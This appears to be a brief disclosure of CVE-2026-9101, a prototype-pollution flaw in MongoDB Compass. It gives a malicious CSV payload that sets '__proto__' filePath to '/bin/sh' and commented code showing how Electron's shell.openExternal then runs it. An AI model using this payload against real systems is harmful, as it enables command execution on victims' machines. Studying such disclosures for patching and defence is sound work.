CVE-2026-9101 MongoDB Compass 原型污染导致命令执行

// Malicious CSV content (exploit.csv): // __proto__,filePath // ,/bin/sh // Conceptual Exploitation Flow: // 1. User imports exploit.csv into MongoDB Compass. // 2. The parser processes the CSV and assigns the filePath to the global prototype. // 3. User interacts with the UI (e.g., clicks a feature that opens a file). // 4. The application executes code similar to: // const { shell } = require('electron'); // const config = {}; // // config inherits 'filePath' from the polluted prototype // shell.openExternal(config.filePath || 'default_path'); // 5. Instead of the default, /bin/sh is executed.